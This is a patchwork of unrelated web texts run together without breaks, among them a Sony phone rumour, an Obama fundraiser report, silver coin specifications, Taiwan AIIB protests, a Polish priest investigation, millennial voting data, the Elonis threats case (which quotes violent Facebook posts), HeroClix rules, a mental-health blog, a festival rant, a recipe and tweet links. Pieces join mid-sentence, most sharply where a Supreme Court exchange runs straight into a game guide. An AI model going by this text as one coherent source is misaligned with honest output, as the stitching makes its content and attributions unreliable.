Special thanks to @Andy_Salcedo, @Breserkfury, @DaoFAQ, @HausOfMystery, @JMB_70056, @myanimewaifu, @Seth_man, @Yoohoo_Dude, and others I forgot to mention for spotting some of the trends on this list.
In Mordor, Where The Shadows Lie. Only Toonami on [adult swim] on Cartoon Network.Not too long ago, we saw Sony announce the Xperia Z4, a device that many think just isn't good enough to be considered the next Xperia Z flagship. After the Xperia Z3 providing very little in the way of upgrades from the Xperia Z2, it's no surprise that Sony fans are becoming a little restless. One thing that has remained true of the Xperia Z line since the Xperia Z1 however, is that Sony knows how to ship a smartphone with great performance where imaging is concerned. Still, the camera inside of the Xperia Z1, Xperia Z2, Xperia Z3 and now the Xperia Z4 is getting a little long in the tooth. Rumors are surfacing about the Xperia Z5 already, however there's a lot of confusion surrounding whether or not the Xperia Z4 really is the next Xperia Z. One such rumor details a change where imaging is concerned.
The 20.7-megapixel sensor inside of the Xperia Z3 is not exactly unique anymore, but what makes it so formidable is that Sony have a long history with camera software. Shipping excellent cameras like the RX100 and the Alpha line gives them a huge advantage over the likes of HTC and Motorola, for instance. According to Ricciolo, a leaker who has been on the money in the past with Sony leaks, has said that a big change in camera design and software is coming. They shared what looks like a deliberately blurred out image of a before and after shot, which doesn't really show us much. However, it does seem about time for Sony to refresh their imaging platform. I own an Xperia Z2 and I love the camera, but the software has remained mostly the same for a couple of years now, and when you release a new flagship every six months, things get stale quite quickly.
After a disappointing year of sales for Sony in the mobile arena, it seems as though the company is in need of something more than the Xperia Z4, and hopefully whichever next flagship is supposedly carrying these new camera features will usher in something truly new for the company.A working treasure chest, made out of chainmaille!This piece took about three months worth of time to design and make, and went through many incarnations before it became what you see here.About 4" tall, 5 1/2" long, and 2 1/2" deep, its a good size for holding all kinds of tiny treasures.Mostly brass wire, with some copper worked in the lid, ranging from 16g 5/16" to 20g 3/16", using Captive Inverted Round and Dragonscale weaves, both modified slightly to fit where necessary.This one was an incredibly late Christmas gift, but I intend that I'll be making another one soon.Here's the detail pictures: [link] *EDIT*WOW A Daily Deviation! Thank you so much to everyone that commented, or favorited my piece! It means so much to me!I also put this on my etsy page as a Made-to-Order piece, if you really, really want one, you should stop by: [link]On the fundraising trail last night for the Democratic National Committee, President Obama insisted to a celebrity-studded crowd in New York that his presidency "has never been about me."
"As I enter into my last year in office, some supporters started getting nostalgic, and so we'll take pictures and they'll say, oh, Barack, I wish you could run another term," he said. "And I explain -- no, first of all, not everybody says that. But I explain, A, it's unconstitutional. George Washington set a good example. B, Michelle would not permit it, even if it were constitutional. And, C, this has never been about me."
The event at The Richard Rogers Theatre, selected because it was showing the musical Hamilton, drew actors including Kerry Washington and Vincent D'Onofrio, and politicians including Sen. Tim Kaine (D-Va.).
Obama quipped that the musical on the first Treasury secretary is "the only thing that I think Dick Cheney and I agree on."
"You know when you've brought Barack Obama and Dick Cheney together that you've accomplished something. That is a cultural landmark," he added.
He added that the show "reminds us of the vital, crazy, kinetic energy that's at the heart of America -- that people who have a vision and a set of ideals can transform the world."
Obama rattled off his standard policy stump, with special aim at Senate Environment and Public Works Committee Chairman Jim Inhofe (R-Okla.) for bringing a snowball onto the Senate floor in February to argue that terrorism is a greater risk than climate change.
"And the planet is warming; 99 percent of scientists have said it's warming. And we've got the Republican chairman of the Senate Energy and Environment Committee carrying a snowball into the Senate chambers to show that there is still snow and that climate change isn't happening. I am not making that up. That's what happened. That's what happened. That's crazy," Obama said. "I was going to quote Kanye, but I can't because this is a family audience. But it's cray."
That's a reference to a lyric in Jay-Z and Kanye West's "N*ggas In Paris": " that shit cray."
"And by the way, the same thing is true on foreign policy. I don't want to keep on going, but have you noticed that every one of these candidates say, Obama is weak," the president continued. "'Putin is kicking sand in his face. When I talk to Putin he's going to straighten out.'... And then it turns out they can't handle a bunch of CNBC moderators at a debate. I mean, let me tell you, if you can't handle those guys, you know, then I don't think the Chinese and the Russians are going to be too worried about you."2010 was the inaugural year for a new series of coins the likes of which have never before been produced by the United States Mint. Officially known as the America the Beautiful Silver Bullion Coin® Program, these strikes are colossal in comparison to all other U.S. Mint bullion products.
The complete program will include fifty-six coins in total throughout the 12 years of the series with each featuring a different reverse design emblematic of a site of national interest. Annually, five new coins are scheduled to appear in the series. Honored sites include locations such as White Mountain National Forest of New Hampshire, Perry’s Victory and International Peace Memorial of Ohio, Great Basin National Park of Nevada, Ft. McHenry National Monument and Historic Shrine of Maryland and Mount Rushmore National Memorial of South Dakota. These five sites are included in the 2013 America the Beautiful Silver Coins.
All of these bullion coins are required by law to be struck from five ounces of.999 fine silver to a diameter of between 2.5 and three inches. Initial specifications required the series to be exactly three inches in diameter which the Mint has opted to keep as the standard. These specifications dwarf the Silver American Eagle, which is the only other silver bullion coin manufactured by the United States Mint that is intended for investors. In fact, the Silver Eagle only has a diameter of 1.598 inches and is composed of one ounce of silver, giving the America the Beautiful Silver Coins five times the content of the precious metal and nearly double the diameter. The US Mint’s release schedule for the coins is shown below:
Releases Dates and Sites for America the Beautiful Silver Coins
Obverse and reverse designs for all these silver coins will be exact duplicates of those found on the circulating America the Beautiful Quarters® Program, although they will feature enhanced details. Both series of coins were authorized by the America’s Beautiful National Parks Quarter Dollar Coin Act of 2008 and honor select sites of national interest from around the United States. One site was selected from each state, the District of Columbia and the five U.S. territories for a total of fifty-six locations.
A portrait of George Washington, as designed by John Flanagan, is found on the obverse of all the coins. This same portrait of the first President of the United States has been featured on the quarter dollar since 1932. It was slightly modified in 1999 for the release of the State Quarters Program, but has been returned to its original form for the debut of these strikes. Reverse designs will be emblematic of the honored site.
Since both the obverse and reverse of the silver bullion coins are duplicates of the quarter dollars, the Mint was initially required to edge incuse the weight and fineness of the strikes on the bullion pieces. That initial requirement has since been changed, but like the diameter, the Mint has opted to remain with the original specifications.
A total of five America the Beautiful 5 oz Silver Bullion Coins will be released annually until the program is completed in 2021. The order in which the coins are released is dictated by the order in which the honored site came under the direct control of the federal government.Dozens of young protesters clashed with police and security guards outside the Presidential Office in Taipei on the evening of March 31 after the government unilaterally announced that Taiwan would join the Asian Infrastructure Investment Bank (AIIB), an international financial institution initiated by China.
After Taipei expressed its interest in joining the AIIB, Beijing said it would welcome Taiwan as long as it joined under the “one China” principle. Beijing’s terms also stipulated that Taiwan must apply through the Taiwan Affairs Office (TAO), the agency under the State Council that handles relations with Taiwan. Beijing does not recognize Taiwan’s sovereignty and regards Taiwan as a province, to be “re-united” by force if necessary. At this writing, the name under which Taiwan applied to join the AIIB remains unknown.
Taiwan’s Mainland Affairs Council (MAC), the government agency in charge of relations with China, faxed the Letter of Intent to the TAO at 7 pm on March 31. The TAO will then transmit Taiwan’s application to the Interim Secretariat of the AIIB.
Critics say that by agreeing to apply with the TAO rather than via the normal channels used to join international organizations, Taipei appeared to be conceding that Taiwan is part of China. The “One China” framework, a precondition for cross-strait exchanges that Chinese President Xi Jinping has vehemently reaffirmed in recent months, enjoys little support among the Taiwanese population, which cherishes its de facto status as an independent country.
President Ma Ying-jeou made the decision to join the AIIB during a meeting with the National Security Council and senior government officials on March 30. His administration issued a statement later that evening announcing that Taiwan was joining the AIIB. The decision — reached after a mere five days — was made behind closed doors. No consultations were held with the legislature, opposition parties, or society, sparking accusations that the Ma administration had once again struck a “black box” agreement with China.
On March 18, 2014, hundreds of activists stormed the Legislative Yuan in Taipei and occupied its main chambers for 24 days after the administration sought to expedite the “black box” Cross-Strait Services Trade Agreement (CSSTA) with China over fears that the agreement would undermine Taiwan’s economy and security.
On Tuesday night, about 30 members of the Black Island Youth Front (黑色島國青年陣線) — one of the many organizations that took part in the Sunflower Movement occupation of the legislature in 2014 — held a protest outside the Presidential Office in Taipei. The protesters were quickly surrounded by several dozens of security staff from the Presidential Office. Some were taken away by police amid minor clashes. At around 11 pm, police began shoving the protesters into buses. If the lead-up to last year’s Sunflower movement is any indication, the spontaneous protest that occurred on the evening of March 31 will be the first of many and could quickly snowball.
Commenting on the government’s sudden announcement, the opposition Democratic Progressive Party (DPP) said, “Taiwan is a democratic society, but our president unilaterally made the decision, and it is a ‘black box’ decision. It blatantly disregards the will of the people and the application was through the TAO. The people of Taiwan will never accept that.”
“We will participate in regional organizations,” the DPP continued, “but we will not neglect democratic procedure, and such behavior cannot damage our hurt our sovereignty and national interest.”
“Joining an international organization is a serious matter, and the Beijing-led AIIB insists on the ‘one China’ principle … our government never carried through the necessary evaluations, and government officials were never questioned. The decision was made by the president and was never reported to the parliament or communicated with society. The administration ambushed all of us,” a DPP spokesperson said.
Responding to the critics, Premier Mao Chi-kuo said that Taiwan had joined under the precondition that “we be respected.” He did not elaborate.
During a brief late-night press conference on March 31, MAC Minister Andrew Hsia was very economical in his comments, saying that joining the AIIB would be “good for Taiwan’s economy.”
The AIIB is regarded as a challenge to existing global financial institutions like the Asian Development Bank and the World Bank and to U.S. influence in the Asia-Pacific. As many as 40 countries have expressed their interest in joining the fledging organization. Some analysts have characterized the Beijing-backed AIIB as “a very big deal for Asia’s economic future … [and] an even bigger deal for Asia’s changing political and strategic order.” The U.S. worries that the AIIB, which will provide development loans within the region, might not meet high governance standards.Manama: Saudi Arabia’s Commission for the Promotion of Virtue and Prevention of Vice has asked the interior ministry to arrest several people for apostasy and atheism.
The commission did not divulge the number of people whose arrest it requested, but it said that they insulted God and Prophet Mohammad (PBUH).
It added in a report about its work and achievements that it was coordinating closely with the telecommunication and information technology commission to block and shut down pornographic sites as well as sites that promote apostasy and atheism.
“This coordination has led to shutting down several sites for violating rules and regulations,” it said, quoted by local daily Makkah on Sunday.
Violations also included the use of misleading mobile and computer applications and erroneous electronic versions of the Quran.
The commission added that it had set up a special unit to fight cybercrimes and that it was working on enhancing its capabilities through regional offices.
In its report, the commission said that it received 9,341 complaints about pornographic sites in one year. It also received 2,734 reports about sites that promoted atheism and misleading information about religion and 132 reports about cyber blackmailing.Probe launched into Polish priest who gets young children to lick whipped cream off his knee in creepy school initiation
Priest is also principal Salesians High School in Lubin, southern Poland
Defended his actions by saying such ceremonies for first year pupils have been an annual event for many years
Polish government's spokesman on child affairs: 'This is very disturbing'
Abused children charity expresses concern
Parents of some pupils have come out in support of the priest
A police investigation has been launched after a series of disturbing photos emerged showing schoolchildren licking whipped cream from the knee of a Polish priest.
The images - which are apparently part of an 'initiation ceremony' at Salesians High School in Lubin, southern Poland - show both male and female 13-year old pupils taking part in the bizarre practice.
Father Marcin Kozyra, who is also the school's principal, has defended his actions by saying such ceremonies for first year pupils have been an annual event for many years.
Shocking: A Polish catholic priest has been forced to defend himself after pictures emerged of children licking cream off his legs
Bizarre: The photos show an 'initiation ceremony at the Salesians' high school in Lubin, southern Poland
In the photos the Catholic priest is shown sitting on a battered armchair, wearing shorts and with some form of stick across his knees.
The pupils are shown kneeling around Father Kozyra a s they watch each other lick cream from his bare knee.
Other photos show the students crawling up the stairs in a single file on their hands and knees.
'This is very disturbing,' said Marek Michalak, the Polish government's spokesman on child affairs, reported The Telegraph.
Outrage: The images show 13 year-old pupils, both male and female. 'This is very disturbing,' said Marek Michalak, the Polish government's spokesman on child affairs
Defence: The preist said no-one had ever complained, and said he saw nothing wrong in his actions
'Surely the boundaries of decency and acceptable forms of bodily contact have been exceeded. I've ordered an enquiry and demanded an explanation from all relevant authorities.'
While some people have expressed shock over the pictures, which were posted on the school’s website, the parents of some pupils have come out in support of the priest.
In a letter of defence they claimed that the whipped cream was actually shaving foam and nobody was forced to eat it.
Audience: The pupils are shown gathered around the priest in a semi-circle, although their faces are masked for legal reasons
The priest sits in an armchair as the young girls kneel in front of him
Controversial: The images have now been removed from the school's website Unorthodox: The set of photos also reveal the children crawling up stairs on their hands and knees
Activities: It appears from the photos that the girls and boys took part in tasks separately
Monika Sajkowska, from the Nobody's Child Foundation charity deemed the behaviour as 'inappropriate,' repo rted Thenewspl.
'The children were manipulated into this. Limits were exceeded. But not, it appears, with any other intention other than having fun,' she said, adding that 'parents should talk to the children' about the photos.
The images have now been removed from the school's website.
Local prosecutors launched an investigation after the photos were picked up by the national media.Millennials get a bad rap. They’re labeled narcissistic, self-absorbed and apathetic. (Just look at their nicknames: the selfie generation, generation me, the unemployables.)
And they’re the least likely generation to turn up at the polls this November.
However, many young Americans do care about politics. They may just show it differently than their parents.
At a recent Black and Brown Vote event at the University of Wisconsin-Madison, many of the attendees were active in student politics and protest movements. L. Malik Anderson, a 21-year-old journalism and communications arts major, helped organize the Oct. 12 panel discussion to encourage people his age to register and vote.
“A lot of (young) people are feeling hopeless, like this election won’t make a difference in their lives,” Anderson said.
Sean Medlin, a 23-year-old recent graduate of UW-Madison who hails from Arizona, said that as an African-American, he is motivated to vote in November — mostly out of fear.
“I think that the presidential race is terrifying,” Medlin said, adding that he believes both major party presidential candidates, Republican Donald Trump and Democrat Hillary Clinton, harbor some measure of racism.
“I feel compromised,” he said. “I don’t want to not vote, and I don’t want Trump to win. So I’m voting for Hillary.”
Alexandra Arriaga / Wisconsin Center for Investigative Journalism
Jessica Franco-Morales, a 21-year-old student activist from Green Bay, expressed a similar sentiment: “I would say people are not enthused about the presidential election — more like agitated and motivated to vote.”
A self-described “older millennial,” panelist Matthew Braunginn, 31, urged the audience to “get over your apathy” and vote in the upcoming election.
“Ya’ll almost got Bernie Sanders — a quasi-socialist, let’s get real about that — nominated,” said Braunginn, a student engagement specialist with the Middleton-Cross Plains School District. “We (millennials) have a lot of power to really push things in a direction. It takes being involved. It takes voting.”
U.S. Census Bureau figures bear that out. As of April, there were an estimated 69.2 million millennials, roughly defined as Americans age 18 to 35, in the U.S. electorate, according to a Pew Research Center study. This group makes up about a third of the voting-age population, matching the baby boomers.
But millennials consistently have the lowest election turnout among all generations. According to the U.S. Census Bureau, only 17.1 percent of 18- to-24-year-olds voted in 2014, compared with 59.4 percent of those 65 and older.
Alexandra Arriaga / Wisconsin Center for Investigative Journalism
Among likely Wisconsin voters ages 18 to 29, the Oct. 12 Marquette Law School Poll found 46 percent planned to vote for Clinton and 33 percent for Trump but were more likely than other age groups to support third-party candidates. Twelve percent said they planned to vote for neither candidate. Another 6 percent said they planned to vote for Independent Gary Johnson, while 3 percent remained undecided with the election one month away.
Clayton Causey, 30, of Madison, said he is turned off by the negative tenor of the presidential campaign and is not sure whether he will vote. Causey said people his age appear to be turning away from the two-party system, and he expects some will vote for Johnson or Green Party candidate Jill Stein.
While millennials have the potential to influence upcoming elections — even the fate of political parties — the question is, will they? Here’s what you need to know about millennials and voting.
Millennials are different socially and politically
Millennials are more diverse than any generation before them. According to 2014 census data, 44 percent of them identify as nonwhite.
Elli Denison, director of research for the Center for Generational Kinetics, a Texas-based consulting firm that specializes in generational research, said millennials have grown up with diversity and celebrate it.
Mike Hais, co-author of the book “Millennial Majority: How a New Coalition is Remaking American Politics,” agreed. He said this diversity has led to the generation being more accepting, which affects their political views.
“They tend to be the most socially tolerant generation in America,” Hais said. “Immigration, gay rights and the like, for all these reasons, their attitudes tend to be progressive and tolerant. They really are, in that sense, a very distinctive generation.”
Those distinctions don’t always correlate along party lines, either. According to a 2016 Gallup poll, 44 percent of millennials identify as independents, while 28 percent identify as Democrats and 19 percent Republicans.
Alexandra Arriaga / Wisconsin Center for Investigative Journalism
Hais also called the millennials “the most female-driven generation in American history” thanks to high enrollment numbers for women in college. In 2015, about 11.5 million women were expected to attend colleges and universities, compared with 8.7 million men, according to the National Center for Educational Statistics.
Joan Kuhl, founder of the site WhyMillennialsMatter.com, said the millennial generation is “the most educated generation yet.”
On the personal front, millennials are waiting the longest of any of the grown generations to get married and have their own home. According to a 2016 Pew Research Center study and census data on millennials, 32.1 percent lived with their parents, and 57 percent were married by age 30. In comparison, in 1975, 90 percent of 30-year-olds lived on their own, and 89 percent had married.
They vote less often than other generations
Why do so few millennials vote? Some experts on the generation said one of the most prevalent reasons is that millennials tend to move around — a lot.
At some point in their lives, 51 percent of millennials moved for employment, 46 percent moved for or to find a romantic partner, and 44 percent had moved for family, according to a study of 1,000 people between the ages of 18 and 35 from the moving company Mayflower.
Alexandra Arriaga / Wisconsin Center for Investigative Journalism
This constant moving around often means re-registering to vote or requesting absentee ballots. However, the 50 states and thousands of counties have different rules, which can lead to confusion.
Some states also passed legislation that seems to target millennials, said Russell Dalton, a political science professor at University of California-Irvine, and author of the book “The Good Citizen: How a Younger Generation is Reshaping American Politics.” This includes forcing people to register in person the first time, shortening registration windows, refusing to accept student ID cards or rejecting certain documents as proof of residency.
“There is a whole set of institutional reforms that if politicians wanted to get young people to vote, they could,” Dalton said. “But politicians are happy with the status quo.”
However, even when states and jurisdictions do make it easy to register and vote, it doesn’t necessarily mean millennials will make it to the polls. Millennials often describe themselves as disillusioned and distrustful of the political system.
According to a 2016 poll by the Harvard University Institute of Politics, 47 percent of millennials feel that America is heading on the wrong track, and 48 percent agree that “politics today are no longer able to meet the challenges our country is facing.”
Millennials also lack faith in the traditional two-party system, which is why so many are independent.
Political strategist Luke Macias, CEO of Macias Strategies LLC, said millennials just aren’t as connected to local governments as older generations, so they don’t see the value in voting. But, said Macias, “Baby boomers were apathetic at 18 too,” and he predicted their involvement will grow as they age.
They care about a wide range of issues
Because millennials tend to distrust politicians, they often pay more attention and spend their time on issues rather than parties. Maurice Forbes, the youth vote director for NextGen Climate in Nevada, said he sees this trend with college students.
“I hear a lot from theses campuses across Nevada that ‘I care about these specific issues that are going to be affecting me and less so about a particular candidate that is expressing their views on that,’ ” Forbes said.
But it’s not just two or three main issues that stand out to millennials. They feel passionate about a wide range of issues.
Elizabeth Campbell / News21
Millennials don’t necessarily consume news and information the same way previous generations did — from the nightly broadcast news or the daily newspaper. But that doesn’t mean millennials don’t care about the world, according to a study by the Media Insight Project.
In fact, the study suggested that millennials’ access to technology and social-media platforms has actually widened their awareness of issues.
Nevertheless, recent national polls have indicated millennials often care most about the same issues other generations do: No. 1 being the economy, including jobs, minimum wage and paid leave, according to a USA Today/Rock the Vote poll.
Money issues also play a big role in their lives, and college affordability and student debt was the second most popular answer. Other top issues included foreign policy and terrorism, health care, guns and climate change, according to the poll.
They can change American politics
Historically, millennials have not shown up to vote. But that does not mean the generation hasn’t influenced political institutions.
The millennial population overtook baby boomers as the largest generation in 2015, according to the U.S. Census Bureau. In Utah, the millennial generation has been larger since at least 2000, according to the Utah Foundation, a public policy research firm.
Natalie Griffin / News21
Salt Lake City is home to the second-highest percentage of 25- to 34-year-olds in the country among major cities — second only to Austin, Texas. And the city’s politics reflect its young population.
The city has long been a left-leaning island in the middle of historically conservative Utah, but the city’s politics are becoming even more progressive — and election data show the liberalism is slowly spreading to nearby counties.
Last year, Salt Lake City elected an openly lesbian mayor, Jackie Biskupski. And this year, the city rallied around Bernie Sanders.
Experts said these changes would not have happened without millennials.
News21
“The place has just become increasingly more progressive, as people from outside of Utah move to Utah,” said Pamela Perlich, the director of demographic research at the University of Utah’s Kem C. Gardner Policy Institute.
Millennials define citizenship not as voting, “but being concerned about other people,” Dalton said. And they often show that concern by volunteering.
“Millennials are probably the most involved generation in history in causes and nonprofit endeavors and community involvement,” Hais said.
He predicted that when millennials begin to take office, the hyper-partisan nature of politics will shift to something more compromise driven.
“What we see now is terrible gridlock because of that baby boomer division,” Hais said. “They can’t see eye to eye, but millennials will be different. Millennial Democrats and millennial Republicans are closer together.”
Sean Holstege of News21 and Dee J. Hall and Alexandra Arriaga of the Wisconsin Center for Investigative Journalism contributed to this report. This report is part of a project on voting rights in America produced by the Carnegie-Knight News21 program. The Wisconsin Center for Investigative Journalism distributed this report. For more from this collaborative series, visit our series page.FIGHTS over free speech in America don’t always produce the loveliest poster children. Gone are the days when intellectuals had to turn to the first amendment as a shield against prosecution for distributing anti-war pamphlets or publishing socialist tracts. In recent decades, fights over the boundaries of protected speech have been waged mainly by racists, anti-Semites, pornographers, dogfight videographers, cross-burners and their kin.
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The most recent crusader for free speech makes some of these characters look rather tame. Anthony Elonis, whose case the Supreme Court took up on Monday, is challenging his 2011 conviction and prison sentence for a series of Facebook posts a jury determined were “true threats” against his estranged wife, which are not considered protected speech. (As Garrett Epps explains at the Atlantic, the court's conception of a "true threat" isn't a warning that necessarily materialises but an act that has the potential to cause panic or disruption, whether or not the person intends to carry out the threat.) In one post, a 27-year-old Mr Elonis wrote:
If I only knew then what I know now...I would have smothered your ass with a pillow. Dumped your body in the back seat. Dropped you off in Toad Creek and made it look like a rape and murder.
Charming, yes. It gets better:
There's one way to love ya, but a thousand ways to kill ya, And I'm not going to rest until your body is a mess, Soaked in blood and dying from all the little cuts. Hurry up and die bitch.
We should forgive Justice Antonin Scalia for saying to an agreeable Michael Dreeben, the government’s lawyer, that “this language is not worth a whole lot anyway, right?” Freedom of speech is enshrined in the first amendment to facilitate robust debate and discussion essential to democratic self-government. It serves as a bulwark against government encroachment on individual expression. It offers a safe harbour against laws or officials seeking to punish dissenters or silence unpopular views. So it’s hard to fathom what value the Founding Fathers would see in Mr Elonis’s vivid threats. The petitioner’s wife, Tara, certainly did not care for this form of personal expression. She secured a protection-from-abuse order against Mr Elonis in 2010, prompting him to craft still more abusive Facebook posts, against her and against schoolchildren and an FBI agent. This cascade led to the criminal charges, the conviction and 44 months in prison.
In reaching its verdict in the trial, the federal jury was asked to consider whether Mr Elonis’s posts would be viewed by a reasonable observer as serious plans to inflict harm. This is the test in use in most of the country, but two federal districts and some states opt for a subjective standard asking whether the person expressing himself actually intended the statement as a threat to cause another person harm. In his brief to the justices and in the hearing on Monday, Mr Elonis denied ever intending harm. He penned the posts, he claims, as “therapeutic” exercises to handle his angst in the wake of being abandoned by his wife. The missives may have been rather crude and bloody-sounding, but they were just words—harmless and worthy of constitutional protection.
The exchange on Monday was lively, with multiple views bandied about on which characteristics and what level of knowledge should be attributed to a hypothetical "reasonable person". Everyone seemed to be grasping for a definition of what kind of language may be clearly seen as threatening, either through intent or interpretation. Several justices paused to admit confusion about what each lawyer was really arguing. The jurist who stepped in to clearly sketch the possible lines of argument was, as usual, Elena Kagan. Here is her exchange early on with John Elwood, Mr Elonis’s lawyer:
JUSTICE KAGAN: Mr Elwood,...I'm trying to figure out what exactly the level of intent you want is. So one, the very, very |
wily opponent will attempt to position in a way that blocks your line of fire. Do anything you can to avoid this without risking losing the figure!
Lastly, remember your range. If you have a range of 6 and your opponent attacks you from 8 squares away, you’re out of luck!
Take advantage of these ideas when your opponent is packing Prob, as well. If they’re relying on a support figure behind their front line to provide Prob, either outrange it with your attacks, or use their own figures to block the line of fire they need. At worst, they won’t be able to use it at least for your turn. At best, they’ll reposition the support figure and perhaps give you an opening to take it off the map!
Odds and Ends
Yes, the use of the word “Odds” is a Probability Control pun, and I’ll admit to being quite pleased with myself for using it.
Just a couple of notes and bits of miscellany about Prob:
Probability Control is not an action of any kind. Feel free to use it even in situations where Free Actions might be limited.
There are powers that mimic the effects of Probability Control but are not specifically this power. They are generally free from the limitations and can be used on defensive powers as well. The most notable is GOTG052 Rocket Racoon’s special damage power which allows reroll of anything.
Per a recent Wizkids ruling, Probability Control is limited to 6-sided dice. Sorry, Felix Faust and Doctor Strange.
Lastly, there’s a special variant of Probability Control granted to named keyword theme teams. They may use it one time per 100 points of the build total. Per the core rulebook, the following limitations are applied to Themed Team Probability Control:
Must possess the keyword that establishes the theme of the force.
Must not have already been given a non-free action this turn.
Must not be able to use Probability Control through another game effect.
Must not have used Probability Control in this way earlier in the turn.
Must immediately be given an action token (this does not affect your action total for the turn).
Note that, based on a recent Wizkids ruling, the third point no longer applies…though if you can use regular Prob over a Theme Team Prob, you should.
AdvertisementsIt is no secret that I am public with my story of living with mental illness. I have appeared on television shows, in newspapers, I maintain this blog, and I'm currently in talks to assist writers of a popular T.V. sitcom to potentially insert some of my personal struggles into a storyline.
The Centre for Addiction and Mental Health (CAMH) in Toronto (which I am not a client of and have no affiliation to) launched an awareness campaign today in the hopes of bringing attention to the stigma those with mental illness face to help defeat it.
As part of the campaign CAMH has placed advertisements on the transit system in Toronto as well newspapers and magazines. The ads quote some of the most common things those of us with mental illness hear when we talk about how we're feeling to others who may not understand what we're going through. I'd like to take this opportunity to point out the misconceptions I encounter most frequently.
Photo gallery MENTAL ILLNESS STEREOTYPES See Gallery The Most Common Mental Health Misconceptions 1 / 6
MENTAL ILLNESS STEREOTYPES 1 / 6
"It's All In Your Head"
No, it is not all in my head and I am not imagining things. Mental illness is just that; it is an illness. My mental illness was observed over a period of time by a psychiatrist before a medical diagnosis was made. I feel what millions of other people do too and like many other illnesses, mine is treatable. Just because you can't see my illness doesn't mean it doesn't exist.
"Don't Worry. It's Just A Phase"
Absolutely, some people may only experience mental illness for a period of time in their life. Some symptoms or feelings may only appear during certain situations we encounter in life. For other people like myself, mental illness is lifelong. While the severity of my depression can vary -- I can go weeks without a severe depression episode or I can go years without one -- it is certainly not a phase.
"Y' Know It Could Be A Lot Worse"
When I feel like I have hit rock bottom and can't stop crying or get out of bed my world feels like it has crumbled apart. Sometimes my anxiety is so severe I can't even leave my apartment without thinking something really bad could happen to me. When the symptoms of my mental illness are at their peak I feel like I have hit rock bottom and the worst has hit me. I feel trapped in my emotions and always think I will never overcome those feelings though as I've learned I eventually will.
"You're Making A Big Deal Out Of Nothing"
Similar to what I said above, when the symptoms of your mental illness are at their peak you feel as though it's the end of the world. The intensity of the emotions and feelings are something I will truly never be able to describe. During this difficult time all I can think about is how I'm feeling. Some people like myself also experience physical symptoms which can add to the intensity such as sweating, nausea/vomiting, headaches, chest pains, and the urge to use the bathroom. While experiencing these intense emotions it really does feel like a big deal!
"Stop Feeling Sorry For Yourself"
I don't feel sorry for myself, in fact I can't imagine my life without mental illness. I think my life would be too dull if I didn't have mental illness. At the same time there are certain aspects of my mental illness I wish I could change or tweak such as the intensity of the emotions that overcome me. But you will never hear me say "I feel sorry for myself" or "Poor me."
"I Know Exactly How You Feel"
While I appreciate the sympathy or empathy it isn't going to make me feel better. It may be comforting but some people truly don't have a clue what I'm feeling and pretending like they do just aggravates me. Instead of paying me lip service it would be more helpful to ask me if anything can be done to help lessen some of the symptoms and emotions I'm experiencing.
These are a sample of the things I frequently hear. I believe people say some of these things due to a lack of understanding of what those with mental illness experience. I applaud CAMH for launching such an 'in your face' campaign and I am optimistic it will help to educate the public and eliminate stigma.So after 7107, THE big event to go to was Malasimbo in Puerto Galera, somewhere near Manila or something.
First of all, it’s somewhere in the jungle. The entire venue is literally a natural Greek Theater. There were foreigner chicks everywhere. Most of the crowd were EDM scenesters who were looking for a different experience. Most of the performers were reggae/soul/jazz.
Malasimbo is the Antithesis to 7107. It’s for the cool kids.
Or at least, that’s what I thought. That’s when you look at all of the companies that sponsored the event. What the fuck? The Malasimbo spirit was supposed to be all about leaving behind all the crap at all the other concerts; the brutish asshole bouncers, the unscrupulous ticket scalpers waiting to hound you, the gaunt-faced drug dealers trying to sell you “E” (pills that are 50% hydro-chloride, 40% baking powder, 5% dirt and grime from under their fingernails, and 5% methamphetamine).
Apparently all of the above, and more was existent at the event. Local mushroom dealers trying to exploit foreigner naivety and the likes. There were shady people that followed you when you went to use the restroom.
Last year, the tickets only cost P500 per day, but this year they were hiked to a ridiculous P3600 per head for ONE NIGHT.
Philippines, please fix your culture of unethical business, or you will forever lag behind other countries. Your immoral and “let’s make a buck RIGHT NOW” style of business is stupid; it ruins your reputation and leaves customers with a bad taste in their mouth. The most important thing between customers and businessmen is trust. If I have a good experience with your business then I trust you and I will become a loyal customer that keeps coming back for more.
If you screw us over then news of your slimy behavior will inevitably spread, and the only people going to your concerts will be shallow idiots who think going will make them look cool.
Final Verdict:
Music was passionate, original, legitimate.
Environment/venue was THE Malasimbo Experience.
Everything else: Epic Failure. It was an obvious cash grab from the get go, and the artists, performers, and audience all suffered because of it.
AdvertisementsNext casserole night, kick those noodles to the curb and try tortillas instead—they make a tasty foundation for layering cheesy veggies and beans. Have leftovers on hand? Toss them in too: cooked ground chicken or beef, poblano peppers or extra veggies, whatever you prefer.
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Cal/Serv: 307 Yields: 6 Prep Time: 0 hours 25 mins Total Time: 0 hours 45 mins
Ingredients 2 tbsp. olive oil 1 large onion 2 jalapeños (seeded if desired) 1 red bell pepper 2 clove garlic 1 can black beans 1 c. frozen corn kernels 2 tsp. chili powder 2 tbsp. fresh lime juice, plus wedges for serving 1/2 c. fresh cilantro 1 can can red enchilada sauce (about 1 cup) 9 small corn tortillas 6 oz. Muenster cheese Sour cream and hot sauce, for serving Directions Heat oven to 425°F. Heat the oil in a large skillet over medium heat. Add the onion and cook, covered, stirring occasionally, for 5 minutes. Add the jalapeños, bell pepper and garlic and cook, covered, stirring occasionally, until the vegetables are just tender, 6 to 8 minutes. Stir in the beans, corn and chili powder and cook for 2 minutes. Stir in the lime juice and cilantro. Spread 1/2 cup enchilada sauce on the bottom of an 8-in. square or 1 1/2-qt baking dish. Top with 3 tortillas, tearing them to fit as necessary. Spread a third of the remaining enchilada sauce over the top (about 1/2 cup). Top with a third of the bean mixture and 1/2 cup cheese; repeat twice. Bake until the lasagna is heated through and the top is beginning to brown, 12 to 15 minutes. Let stand for 5 minutes. Serve with cilantro, lime wedges, sour cream and hot sauce, if desired.KYAnonymous repeatedly equates sex and rape
https://twitter.com/KYAnonymous/status/288638999994695680
https://twitter.com/KYAnonymous/status/288633491996962816
https://twitter.com/KYAnonymous/status/288458585233575938
https://twitter.com/KYAnonymous/status/288457501475745792
https://twitter.com/KYAnonymous/status/288397674934304768
that last one isnt as obvious, but child porn = child rape mkay?
